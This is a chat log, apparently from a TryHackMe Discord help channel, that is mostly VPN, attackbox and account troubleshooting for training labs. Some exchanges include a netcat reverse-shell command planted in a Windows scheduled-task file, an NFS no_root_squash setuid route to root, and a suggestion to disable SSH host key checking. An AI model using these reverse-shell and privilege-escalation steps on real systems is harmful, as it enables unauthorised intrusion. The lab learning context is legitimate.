I'm not too happy opening unknown links, so please rather use the verify and upload your screenshot directly in here ๐
i don't have a permission to upload

Hi, can someone help me out, Iโm kind of freaking out right now
wassup
Okay I dont know your community very well so I apologize. My bank info was stolen and used to make transaction on tryhackme.com and I dont know who to contact on their website
@bronze vale
Thank you so much
don't trust virustotal on everything tho, I've visited the link and it's literally just an image
here is virustotal flagging localhost as malicious
I know this isn't the correct way, usually you have to email support@tryhackme.com
but since it's something like that I just pinged him, please wait for him to respond and don't dm him ๐
Iโll wait and email them on this email. Thank you so much
DM me the email address you are emailing from please
I will
sorry for the ping btw, thought this was an urgent case
I'm having trouble using this solution.
Guys I upgraded my kali os now I can't connect to tryhackme via openvpn
I am in the correct directory, too.
what error are you getting?
I am not getting an error, just key output.
solution is pinned in this channel :)
what error are you getting when trying to connect? if it's something with cipher check pinned messages
can you share a screenshot of what you're getting?
Thanks
Gave +1 Rep to @celest wadi
nvm i fixed it
Howdy ... I keep getting getting errors from Kali openvpn when using the THM .ovpn configuration. specifically it's complaining about the cipher negotiation advising that openvpn 2.6 ignores the "cipher AES-256-CBC" option in the configuration and that the local agent cofnig file needs amending ... I've spent about 30 mins searching around and can't really find the openvpn local config file to amend ... can anyone help?
use this command
sed -i 's/cipher AES-256-CBC/data-ciphers AES-256-CBC/' *.ovpn
(in the directory of your ovpn file)
what's the outcome?... is it just inserting the ciphers line back in with AES-256-CBC?
suprisingly, it seems only kali has this issue, ubuntu works
it changes the old cipher line with the new one that is used in version 2.6 and is fixing the cipher problem
version 2.6 uses the line data-ciphers instead of just cipher to declare what encryption they are using in the connection, this is what is giving the cipher problem as version 2.6 can't figure out cipher for some reason
if only kali knew, that 2.5.6 is the right way 
ah thank you ๐
you're welcome
there will be a proper fix soon, but this is a temporary fix until then
I can't wait for MW2.
You already have so I'd encourage you to continue ๐
I'm in a weird dillema at the current moment.
Well basically.
Most of my dad's accounts got breached.
I was helping him secure them by changing the passwords, running malware scans, etc.
The usual.
So turns out, that there was some sort of phishing/spamware that had access to his Facebook account.
It send a very suspicious link to all of his contacts through messenger.
Report to facebook.
I ran the link through ScanURL, Phishing Tank and Virus Total.
Yea, we're doing that too.
But my dad really wants to find out what the link is for some reason.
All of them stated it was safe.
Which is weird.
My dad then forced me to run the link on my PC (I was extremely reluctant)
And after running the link, MalwareBytes and McCafee detected no malware.
And the link was an "https" link.
Not an "http" link.
So I'm extremely confused here.
On how this would work for phishing.
Cause I doubt that it's not a malicious link.
Anyone got an idea on what's going on here?
And btw it's just showing a weird loading animation after opening it.
Probably re-direct this to the general chat as this is technical support specifically in the context to TryHackMe functionality i.e. connecting and using their services.
as for your situation... just apologies to the contacts it got sent to advise them it's malicious, close the chapter and leave it alone ... unless it's your day job to reverse engineer indicators of compromise or do digital forensics incident response it's far too much time and effort to even get a tangible answer
Dude I don't know what to do.
My dad is forcing me to "Reverse Engineer the link"
And he's said "Either do it or give me your PC and let me do it"
And I KNOW he'll fuck my PC up beyond oblivion if I let him "Reverse Engineer" the link from here.
Anyways over to #general
is anyone else having issues connecting to the servers
Depends on what the exact issue is that you are having ๐
Trying to use my attackbox but it keeps saying it can't connect to the servers
It goes 100% then just shows connecting
after a few mins it prompt msg "Can't connect to server" then restarts
Yes!
Mh, I guess there is no real fix to that.
So just give it some time, refresh the page after a couple of minutes (maybe even with Ctrl + F5)
Or if it's still not working after some time, restart the attackbox
Same
Restarted it multiple times and already tried connecting using putty, but there is no public IP showing
Oh lucky me..it works
This discord server looks sick tbh
Sorry to ask ... does anyone know where the config file on Kali so so I can amend some of my openvpn settings ... seems I keep getting disconnected when controls packets are sent:
2022-06-27 16:06:46 WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1589', remote='link-mtu 1602'
2022-06-27 16:06:46 WARNING: 'auth' is used inconsistently, local='auth SHA2-512', remote='auth SHA512'
2022-06-27 16:06:46 WARNING: 'keysize' is used inconsistently, local='keysize 128', remote='keysize 256'
Try to change the settings to what it says in remote
I'm unsure of the syntax of the config file .. just added those in and errors with "un-recognised options"
What file did you change and can you send a screenshot of how it's looking
it's the .ovpn file provided by THM
Okay, that's the correct one to change
I am not at my pc right now to check my config, but @deep spire might be able to check against a working one
I'll have a look
Thz, I am first home in like 45 minutes, so I can only do basic from the top of my head support ๐
Might be able to figure it out from: https://github.com/OpenVPN/openvpn/blob/master/sample/sample-config-files/client.conf
Not seeing keysize or mtu in the .ovpn file i opened... What version of openvpn are you using @craggy skiff , What command are you running, and what are you connecting to?
has this only just been downloaded?
Can you try regenerate one real quick?
A fresh one has given you mtu 1602 ?
It gave 1589 they changed it to 1602 cause the remote said it used that and i told them to change it
Then run the sed command in pinned and try now
sed -i 's/cipher AES-256-CBC/data-ciphers AES-256-CBC/' *.ovpn
I have never seen any fresh config file with any mtu value set, so that's why I was wondering ๐
Same, but the VPN servers have been weird since 2.6 came out
connects again ... but I'm getting drop outs when TLS control packets are received
assuming it's those 3 warnings about mtu, auth and keysize
well more around the mtu as that's more relatable to a stable connection
Can you try Uninstall and install v2.5.7
It seems you are having multi vpn, at least in that screenshot
Since it's creating tun1
fresh kali install this morning following the apple M1 guidance from their site
Just do sudo killall openvpn
Then connect again to the vpn
but I've not configured anything else unless it's vmware fusions vm-tools
Don't judge me on the FFXIV ๐ I like it haha
Looks better now, so just try if you have any connection issues still
Ok ... will give it a go and see if it remains stable
still concerned that it's spitting those warnings
from what i've been reading it suggests the .ovpn syntax isn't correct
well for the client sorry
Well my dev tools console is spitting a lot of warning too on nearly any webpage.
Not sure if I would be too concerned about it ๐
will have to just chow down on my Aero and let me worries bubble away
Guys everytime i click the link after i start the machine it says it took to long time for the page to response(when i paste it in browser).. how can i solve it
Have you connected to a VPN
Ahh no
That is a different thing
I didn't know that it could be proxy or vpn that did all
Ok thx if anything i will tell u
No problem
Splunk 2 Task6 Q4 won't accept my answer which I have confirmed elsewhere is correct. It is probably because it contains characters not on the English keyboard but I can't see any way to work around that
use this command
sed -i 's/cipher AES-256-CBC/data-ciphers AES-256-CBC/' *.ovpn
thanks
I had to do sudo killall openvpn before to make that work too
its not showing my ip in the top bar which is weird though
usually it does
Idk why that doesn't anymore
Strange. anyway thanks @pastel tinsel

Openvpn
Try copy and pasting that.
oh i see
It updated to v2.6
No good, telling me it's incorrect
thx so much it worked
?
you can just use the compiled binaries on their github page :)
yuup that is what shadow did
it says use this command but it's not working
go get github.com/ropnop/kerbrute
this explains why it is in the git folder
just get the amd64 linux one and you're good to go
do I just have to clone it?
nah, just click on it
thanks
click the button or copy the link and wget it
not working it just download the file!
can u pls show me the steps
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
./kerbrute_linux_amd64
this is assuming you are trying to run it on kali linux which honestly you should
nah, those commands should work on any major linux distro
yuup but shadow more meant if they were using windows
yeh, don't use windows
works now thank u so much ๐
Gave +1 Rep to @plush bay
hope you understand what all of those commands do and you did not run that blindly but yeah
you might want to copy that binary to /usr/bin/ or /bin so you don't have to manually run it every time

because if the executable is not on the PATH variable in linux you need to tell the shell where the executable is exactly.... ./kerbrute_linux_amd64 here means run this executable in this folder
so if I move it to /usr/bin/ it show work using kerbrute?
nice, thank for all help guys
you're welcome
normally shadow would place it in opt and add that opt to the path variable but there are lots of ways to add programs to the path
Even after restarting this room (https://tryhackme.com/room/furthernmap) multiple times, I can't seem to access the ip it gives me. I am connected with openvpn, but it seems to be broken, and I can't ping the ip on both my vm and host machine. Is this just me, or is the room broken?
can you show the output you get on your openvpn?
there's been a pretty common issue with openvpn recently
you mean this screen?
uhh, no?I meant the openvpn command you ran to connect to the thm network
the end of the ouput from that one
so if shadow gets the above correctly you are connected to the vpn on your host machine instead of your kali vm???
๐
uh I'm connected on both lol
that's a bad idea
Only connect with one
does it matter which one?
If 2 is connected it breaks
yes
it creates a single tunnel
connect on the vm
Yes, the kali vm
ok
lot of violet rn ๐
I'm just watching ๐
it seems to be connected on my vm


can you show the output?
okay then try this in the kali vm terminal curl 10.10.10.10/whoami
if it gives you a ip that means you are connected
what output lol idk what I'm doing
!openvpn
the output of the openvpn command
.... okay
!vpnscript
Hi. I'm getting too many machines error when spinning up an attackbox on the web
https://tryhackme.com/room/openvpn task 4 @foggy elm
!vpn
bonk, got it
nice zeeshan
Best to show a screenshot of what you mean by that
2 of the links are the same

Is there a way to kill old instances?
check the running machines from there and go back to the rooms and terminate them
As an alternative, you can use that: #site-support message
or there's the js
this explains how to kill all running vms so that you can start them in the room you are in without manually doing so
what are you looking for from the output? discord doesn't let me send the whole thing
Thanks
darn fontaene was quicker

well then you are connected
can you open another terminal and run curl 10.10.10.10/whoami now????
ok
if that gives you a single line of output with an ip you are connected and should probably not have any problems
wait a second was I not supposed to stop the command that opened the vpn
nope you are not supposed to stop the command that run the vpn
you are meant to leave it running in the background as long as you wanna hack on tryhackme
ohh maybe that's what I'm doing wrong
could be yeah
this returns an ip address
nice
that ip is your kali vm:s ip on the tryhackme network which means it is the ip you would use in a reverse shell
and as long as you don't get a new vpn file it will stay the same
ok nice
now that you are connected try and reach your target machine again
I still can't ping it :(
is it a windows machine???
okay then..... try using nmap with the -pN flag against it
also recommend -F to speed it up imensly for us to trouble shoot
the machine is working?
if you know how to read nmap results that is
yuup it is
or you would not have gotten the results that those ports are open
this should tell you some of the task question answers too
when I tried pinging it before it said all the ports were closed lol
that's weird but its working now
ty
no problem
hope you learnt a lot from this and that your journey becomes a bit easier now
also using the ping command against that target machine is never going to work as it has ping disabled
oops
hence learning some alternatives to ping with nmap to see if the host is there is useful
if this room is not enough for your nmap learning there is the nmap module that teaches you host discovery tricks
oke tyty
good luck and have a fun learning journey
I am having kali issues and was wondeering if someone could ofer there assistance
what issues ?
first openvpn isnt working
what error is it giving you?
Options error: In [CMD-LINE]:1: Error opening configuration file: /home/downloads/jupiter3.ovpn
openvpn --version
OpenVPN 2.6_git x86_64-pc-linux-gnu
permissions are correct for the current user ?
sudo openvpn /PATH/to/vpn/file
yes
also see the pinned messages, you have to add data-ciphers AES-256-CBC , in your vpn file it is going to be cipher AES-256-CBC , change it and try again
that won't help
not with that error message
can you verify and then send a screenshot of when running the VPN?
!docs verify
oh havn't seen this
it wont run
just give a screenshot of the error message
yup
What, tbh that seems to be just the wrong path, no ?
no, it's the config, unless it will say file not found
But what directory should be /home/downloads?
Shouldn't it be /home/jupiter/Downloads ?
oh yeah
ctrl+c

hey guys, anyone here using RDP to connect to the attack box? it's kinda usefull as you can use keyboard shortcuts for example.
I tried connect to the attackbox using Remmina but the refresh rate is like 0.5 fps which make it ... kindof a pain in the ass to use. Any suggestions?
Hi, can i ask a question if u are there ?
sure
If i can, i try to use hydra on a challenge, but at the begining it put 2800 tries per minutes
I canceled like ร moron and now its 90
I reboot the VM, my computer my command but nothing to do...
And sorry for my english i have an excuse : i am french ๐๐
I googled that and they say we can us GPU on hydra, but its remotely attack so i dont know if its possible for that
I dont know if i must to say what is the room because i dont know if its a spoil for the people here
And i dont know if i am in the good channel on discord...
Hi folks, can anyone give me a sensible answer to using nano across a shell. I'm doing the IDE room and everytime I use Nano as the text editor it just corrupts and does nothing. I cannot for the life of me figure it out.. I end up having to cancel the shell and start the chain again. I can get no further and I can find any sensible answer on google. The writeups all use nano so it's my fault...
first stabilse the shell
then set the rows and columns
tput lines && tput cols will write out the rows and columns if you run it in your terminal while not in the target machine shell
stty rows <num> columns <cols> will set the rows and columns when you have stablised the shell
Of course, I'm a total egg. I done the first part and overlooked the rows and columns! ๐
well if you have stablised the shell you could use ctrl + c or ctrl + x to exit nano
sorry only ctrl + x
also don't forget to export the term variable
I used the "python2 -c import" etc etc then the "export TERM" etc etc then "stty raw".. that's as far as I went. Doing that doesnt let me use any commands in nano.
export TERM=xterm-256color
oh yeah for nano it needs the rows and columns to act like you expect
for other stuff it is not nescarily needed
hmm interesting, I just used "export TERM=xterm" I've never used the 256 color tag previously.
that just means it will default to use colours from the bashrc file
so not really nescary but useful to shadow
OK that's good to know. Thanks for your assistance ๐
no problem
also can shadow recommend to you to verify your discord with the bot using the following link to be able to send pictures here and show of you tryhackme level
!docs verify
@spring pilot โฌ๏ธ
Cool, have done that now.
oooh nice already a wizard
A wizard who obviously didn't read the whole "shell stabilisation" room ๐
Because the columns steps are at the end after the socat section...
A very lazy boy indeed.
well we live and we learn
I keep getting an error that I can only have three machines started... but I can't find out an easy way to see what machines I have started so I can terminate them, is there any way to do this?
Yes, if you visit https://tryhackme.com/api/vm/running
Do you know how to use the console in your browser?
Sure do
fetch('/api/vm/running')
.then(r => r.json())
.then(vms =>
vms.forEach(vm =>
fetch('/api/vm/terminate', {
method: 'POST',
body: JSON.stringify({ code: vm.roomId }),
headers: {
'csrf-token': csrfToken,
'Content-Type': 'application/json'
}
})
)
)
If you paste that in the console for the browser, it will close all machines that are running.
csrfToken is not defined
Intersting, I got a different error. 
But the link above should show you wish machines you have running.
Yeah, manually.
yep!
When that code works it usually just closes them all.
makes sense, thanks for the help!
I just tried there again (whilst on a THM page) and the code worked, oh well, glad you got there in the end.
Happy Hacking 
hey guys, any tips for either:
lowering latency when connecting to the attackBox via RDP? (other than changing color depth, I already did that)
OR
capturing all keys when using the attackbox, from web browser?
Thx ๐
Capturing all keys?
like being able to use keyboard shortcuts, to change desktops, resize window, etc
Like using the windows key in the attack box, or using ctrl+alt + "right arrow"
Maybe full screen mode?
thats when you want to use your own copy of a kali linux vm
as doing that over vnc and rdp for the attackbox and windows targets is not easily possible
nah cause keys are detected in my OS not in the window
I wish but my laptop is really REALLY slow ... that's why I want to use RDP
errrf
or kali with just 2 gigs of ram and 1 cpu
guys ๐ nooo
well the attackbox is over vnc
best for me is RDP or just using an attackbox that would capture keystrokes ^^
na i want gui. I prefer attackbox moar than no gui
I know ๐ค so what
well maybe you can connect via vnc to the attackbox from your main pc using a vnc tool or you can use ssh from the my-machine page
this is what I do
the problem is: very low fps
but getting the gui over and allowing copy pasting and other keyboard shortcuts is gonna be a pain
I already downgraded color depth, any more suggestions?
no, that I already did with the VNC connection. The only problem with the VNC connection is the low fps.
The only problem with the web browser attack box is capturing keystrokes.
I just need one of them to work
๐ค
Upgrade.
you can't make the web browser version accept ctrl c and ctrl v sorry
which leaves you with the option of trying to get vnc to work nicely
ah common ๐ send me money then
I am one parameter away from making it working ๐
hmmm know anyone using VNC with good performance?
everyone that uses it in the browser instance
I meant, through a RDP client ๐
vnc != rdp
uh sry i meant RDC as in Remote Desktop Client ...
so when you said that you meant using a remote desktop client software, working with the VNC protocol?
that's what I am currently trying. But remina gives me very slow fps
ยฏ_(ใ)_/ยฏ
mmh okay but keystrokes are usefull and good laptops expensives ๐ข
but over 100% useful
a good laptop will last you multiple years and let you run whatever software you want on it
yeah I know ๐ I just do not have money RN
eh christmas is just 6 months away
wishing for money or a new computer is doable
worst case senario you just get money
it is your own problem if you can't adapt... and being able to adapt quickly to change is going to help you on your hacking journey

Hi folks, I am unable to connect to boxes with openvpn. Is there a known issue with connecting with Openvpn on Linux?
Hi, yes, there's a problem when openvpn updates to version 2.6 what error are you getting when trying to get on the VPN?
Indeed. I'm running Openvpn version 2.6 and it's stuck in a retry loop.
If you can verify your account and send a screenshot it would be great
!docs verify
This way it's easier to see what the problem is and figure out what to do to fix it
I can't connect to the vpn ... It was working till last day but today it is not connecting ..... I've tried to regenarate and even change the server but still the problem occurs.... anybody please help me... It's my 104 day streak and I don't want to lose it...
Hi, can you please follow the link just above and verify your account, then you can send a screenshot of the error that you are getting, then it's a little easier to help
Yes there is, there's some changes in the config
Any mitigations I can do from my end?
use this command
sed -i 's/cipher AES-256-CBC/data-ciphers AES-256-CBC/' *.ovpn
That will change the config to have the right cipher that it tells you is missing
You're welcome
i change my mind. Sed is my new favorite
Sed is really useful

I only have a question to ask if possible . My subscription will end at the beginning of 'octobre' and I wanted to know if the payment for next year will pass automatically or do I need to remake it by myself , and thank you for answering my question .
If your current sub is from a voucher, it will not automatically renew.
If it's not from a voucher and you haven't pressed cancel on your profile page, it should automatically renew.
there s a way i can stop this ? since it is not from a voucher and i dn have acces to the account anymore
Sure, press cancel on the profile page and it will not renew itself, but you still have premium until you have paid for
I understand but the problem is : I dn have acces to this thm account anymore
email support then
Contact support with the email that you had the account on
If you remember the email
too slow

Hey i am not able to connect using openvpn something is wrong
use this command
sed -i 's/cipher AES-256-CBC/data-ciphers AES-256-CBC/' *.ovpn
did this help or do you still have problems?
Sure thanks a lot can you tell me what was exactly wrong
Gave +1 Rep to @pastel tinsel
because openvpn updated then it has changed in how it takes the config file, but TryHackMe's VPN servers is still sending old configs out, so because you have a new client it cannot understand the old config, since cipher in the old config is changed to data-ciphers in the new config
no worries
?
it's not universally executable?
did you chmod +x it?
yess +x and +s
what does it mean ?
it means everyone(every user) can run that
yes yes
can you show a specific ls -la nfs?
it was yesterday, let me a minute to reproduce and tell you
๐
can you also give me a screenshot of file nfs and ldd nfs
oh I have screenshot from yesterday's here is the file output
can you also give me a screenshot of uname -a
I have made the executable in intel processor computer, then transferred it to m1's vmware fusion kali , which OS's uname -a ?
Executable made in intel processor machine
Connected/mounted the shared directory in Vmware fusion arm64 kali machine
that's the problem
those are all different binaries trying to run it which can't make it run
I am running it by ssh-ing to the thm machine
but you'd get a different error for that one
which is intel proc
it's saying it can't find the file
nope, running 32bit programs on 64bit OS's in kali shows the "no such file or folder" error
That was interesting
well, when you don't have 32bit compatible libraries

I also know that theory
but can't understand then this problem
as I've said give more details
if it's compatible with it
aka have libraries that can run the 32 bit
yeh, obviously no arm amd mix
@lofty rock try and compile it in the kali vm
kali vm
Linux kali 5.16.0-kali7-arm64 #1 SMP Debian 5.16.18-1kali1 (2022-04-01) aarch64 GNU/Linux
Kali not vm
Linux kali 5.18.0-kali2-686-pae #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali1 (2022-06-20) i686 GNU/Linux
no worries, try to do the task and just compile the program in your vm that you use as attackbox
what folder did you mount?
/tmp
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
It has no_root_squash
hmmm
give me a second I'll do the task myself real quick
when running the file, are you ssh on the target machine and running it as karen?
sure
I don't know, I haven't looked at that script before
you can't cat a binary if that's what you're doing
I am catting flag7.txt
can you show it plz
here it is
I will try this now
I have changed the code to this same exec format error ๐
how do you compile it?
hmm, something breaks
I guess that cat script would also work
give me a second and I'll send you my compiled script
I am already downloading kali 64 bit image ๐ I am done with this
okay it executed , but I became from karen to karen
I am messed
so the thing is it works with onnly 64 bit intel executables
and chmod +s nfs, chmod+x nfs, I become from karen to karen
I am really sorry for your time, I am just trying to understand
Had to do it fast cause we closed down for today

No worries, we are happy to help and guide, is it possible to try it out from the attackbox?
you mean tryhackme attack box ?
Yes๐
It worked perfectly in thm attackbox
I made .c code with setgid setuid and bin bash, and became root
do you get what was the problem ?
It's just up above
even with your executable it didn't work, I really don't understand what's going on
Kinda, but now we know that it's some architecture mismatch
Probably, have to look more into it to give a more concrete answer
okay I see,
however thank you a loot, for your time

I mean, I am pro, I do it for living

Hey guys, can I bother you again ?


not me
shoot
oof, this is going to be long
I am on Windowd privesc room ,
this one is going to be really stupid question,
on task 4, I have rdp-ed to the Windows machine, did this command to change the scheduled task:
echo "c:\tools\nc64.exe -e cmd.exe <my ip> 9999" > C:\tasks\schtask.bat
And ran the scheduled task to be executed now:
schtasks /run /tn vulntask
I don't get the reverse shell both in my machine and attacker box THM machine.
But I do get the shell when I simple run nc command:
C:\tools\nc64.exe -e cmd.exe <my ip> 9999
use double slashes
pretty common mistake
oh sorry
that's the other task
hmm, there's more help in #987074227335233607 but make sure you foolow the instructions to a tee
it is not working telling me there is no "-e" option
Certain versions of netcat do not support "-e" for security reasons
Try googling for an alternative when you encounter that scenario.
it is supporting I have tried it without task scheduler it works fine
guys it was done with cmd prompt
with powershell it doesn't work
idunno why

When connecting to the throwback network I encounter this problem
When connected, it says 2022-06-28 22:12:13 Restart pause, 5 second(s)
Trying to regenerate files didn't help me
is there a cipher error in the openvpn output
yeh, the new version openvpn has a bug
more likely all
run this command in your ovpn file directory to see if it fixes it:
sed -i 's/cipher AES-256-CBC/data-ciphers AES-256-CBC/' *.ovpn
You suggest finding an older version of the package?

I had in mind to edit the config
But apparently I'm too lazy and you pushed me to do it)))
well, it works now so that's good
DON'T TAKE CREDIT FOR MY COMMAND

oh btw, feel free to verify, then we can easier help in the future cause you can send screenshots
!docs verify
well, that was a pain doing it in awk but this command works the same, it doesn't even modify the original files so the're intact
awk '{sub(/cipher/,"data-cipher"); print}' *.ovpn > working.ovpn

you want the original file intact?
it's so if anything goes wrong or they need the original
yeh, but mine is better

(that was a joke)
spending more time finding ways to automate a basic one word fix, this is my kind of fun
same
just means we like the topic
learning awk and sed would be good for shadow
sed -i 's/cipher AES-256-CBC/data-ciphers AES-256-CBC/' *.ovpn -> quicker way using edit file in place

Hey! There is no need for those pings, please use #room-bugs if something is broken with a room.

Hey kyooty, Iโm still facing the same issue I cannot access any Thm IP when connected with openvpn
look into what version of python youre using vs what version the module is written in. That sounds like the root of your issue

Hey TryHackMe, I would like to upload a set of 6 VMs to my created room, of couse if possible I want to make it public so more people can enjoy my room! It is an Active Directory set. I uploaded them respectively, but I got convertion error after that. I tried to reach out to Support Team few days ago, but I have not received any update. I appreciate your attention.
Who could he reach out to?
I am the creator, thanks for spreading my issue. I appreciate it!
@stray cove Can you or one of the mods get @grave oar creators lounge role so he can get some help with his vm upload issues? I expect he might need some additional help setting up an AD network.
Thank you buddy
Donโt thank me yet. We havenโt gotta sorted out. lol. In the meantime, please read https://docs.aws.amazon.com/vm-import/latest/userguide/vmie_prereqs.html and make sure your VM meets those requirements.
Requirements for importing a VM into Amazon EC2.
Yes I read it. Some VM are Windows Server 2019 Evaluation version, I did not see the guide mention it. So Evaluation version is not accepted?
Iโm not sure. The AWS docs say Microsoft Windows Server 2019 (Standard, Datacenter). Doesnโt mention if Eval mode is a non-starter. Would you know @tawdry orbit?
Can you please send a screenshot of the error that you get?
@zealous yoke when you are awake, can you help this guy out with the room-creator role
I can get the role hang on
Ok done
As for windows vms, I think thm takes care of the licensing

Hi there, I am doing the "Breaching Active Directory" network and am on Task 6. I have connected to the JUMP server and am trying to retrieve the bcd file from the mdt server, but the tftp command hangs for about a minute and then says "Connect Request Failed"
I've confirmed I can ping the mdt server from the jmp server.
Is the tftp service maybe not running?
welp
best to check in #breaching-ad , but that tftp server can take some time to download that large file
Cheers, this is just he initial conf file that is small, but I'll head there see if someone knows
can you show a more zoomed in picture of the openvpn error? also are you sure that there's not multiple instances running, check with this if there's multiple ones
ip a should give only one tun0 interface
ps aux | grep openvpn should only be two processes
Run this script
sed -i 's/cipher AES-256-CBC/data-ciphers AES-256-CBC/' *.ovpn

I don't see a ciphers error

weird, thought it'd be at the bottom
also run the openvpn command with sudo

Hey , i have a problem i installed openvpn2.5.6 and i can connect but my problem when i try to access machine an write ip in the browser or using curl it keeps waiting without any response
what does the VPN say, and can you try and ping 10.10.10.10?
you sure the target is running?
try out this command
sed -i 's/cipher AES-256-CBC/data-ciphers AES-256-CBC/' *.ovpn
should fix the problem
sometimes that can fix it, but if not it's a different error
try see if you have access to the machine now?
no i can't
can you try regenerate a vpn?
execute this too ?
try without first
ok
same as this
i can't access and ping executes successfully
it was working for a week but i don't know why this happened so i installed another vm but still the same problem
might be some routing problem with http
openvpn version was 2.6 but i downgrade it to 2.5.6 as the pinned messages said
yeah, we have found some new fixes
attackbox working correctly
Is anyone from support available. Someone who can help me recover my account?
I did an email
I know you've had troubles with email but that's the way
please wait then, it's only 1 person who gets a whole lot of messages all day
I am waiting from last 25 days that support will help
I am still waiting
I hope that this time I get access of my account again
there's no solution for now right ?
yes, with openvpn 2.6 try the command I sent

I am having same issue, neither the sed nor MTU solutions seem to fix. HTTP requests not resolving, nmap scans not working etc. ๐ฆ
Oh, nevermind it was an obvious one. I'd backgrounded the ovpn process and then when I went to re-start ovpn in new terminal without realising it broke something.
User error. ๐ฆ
sed -i 's/cipher AES-256-CBC/data-ciphers AES-256-CBC/' *.ovpn
Reposting, this command worked to get my VPN back up and running correctly. According to the errors the OpenVPN server was looking for the CBC ciphers in my issue, so this solved that.
Check pins^

Any idea how to copy a file from windows to Linux machine over SSH? used this command but it's not working
I connected to target machine with SSh and now I want to copy a file but I keep getting error or connection refused
@bronze vale please help me recover my account
Did you check the pinned messages?
what do u mean? Pinned msgs are only about openvpn
Sorry, wrong reply. If SCP isn't working, double check your formatting. Typically SCP is included in bash, so unless you have the windows bash or equivalent that command won't work. If you post the error message that will be much more informative than just the command.
Did you check the pins in this channel?
can u pls show a way to copy that? I'm connected to target machine over SSh on my Linux PC
Idk why this is not working! the command is simple and right and it should be working!
I hadn't, but I did now ๐ That fixed the issue. Thanks!

you are copying from windows to linux, you should be able to take a snip screenshot and copy paste that into chat.

Run it with sudo
that did it, thank you!! โค๏ธ i love when its something easy, can i ask tho. if im sys admin why aren't commands ran automaticly by sudo
Not sure what you mean by being sys admin, but unless you are not root, you have to use sudo to run operations that need higher privileges.
Also you don't want to run every single command with root privileges, a single wrong command could mess up your entire system.
Please stop pinging me every time you email or you will not receive support.
apologies. today is third day and I hope that I will get the answer. I will wait!
hello guys I have a problem here in SSRF room from JR-penetration test path
the site in task two doesn't work at all there is no error appears or anything it just freezes
i tried to reset progress and remove the browser cookies but still nothing ****

Can you interact with the static site at all?
yes i can the whole problem just in the final slide where i supposed to get the flag

Hi All, i get the following error when i connect with SSH:
Unable to negotiate with [IP] port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
so far i had no problems with connecting through SSH...
what are you trying to connect to?
can we have full vod on thm's twitch @barren birch?
@pastel tinsel to the Linux PrivEsc room
as Lassi asked, have you tried googling the error?
yes i did
and what?.. 
I found this command but i am not sure if I should use it... ๐
ssh -oHostKeyAlgorithms=+ssh-dss [username]@[IP]
deprecated algorithms
ok let me google that one ๐
the room was created a long time ago using an older version of SSH than what is used now, because of that the algorithms have changed and is not using the same as before, meaning you have to specify it
or you could just go -o StrictHostKeyChecking=no
ok so this is a RSA (1024 bits or lower) encryption which is no longer supported by default for my version of SSH... do i explain that correctly? ๐
yes, more or less
Vod for what?
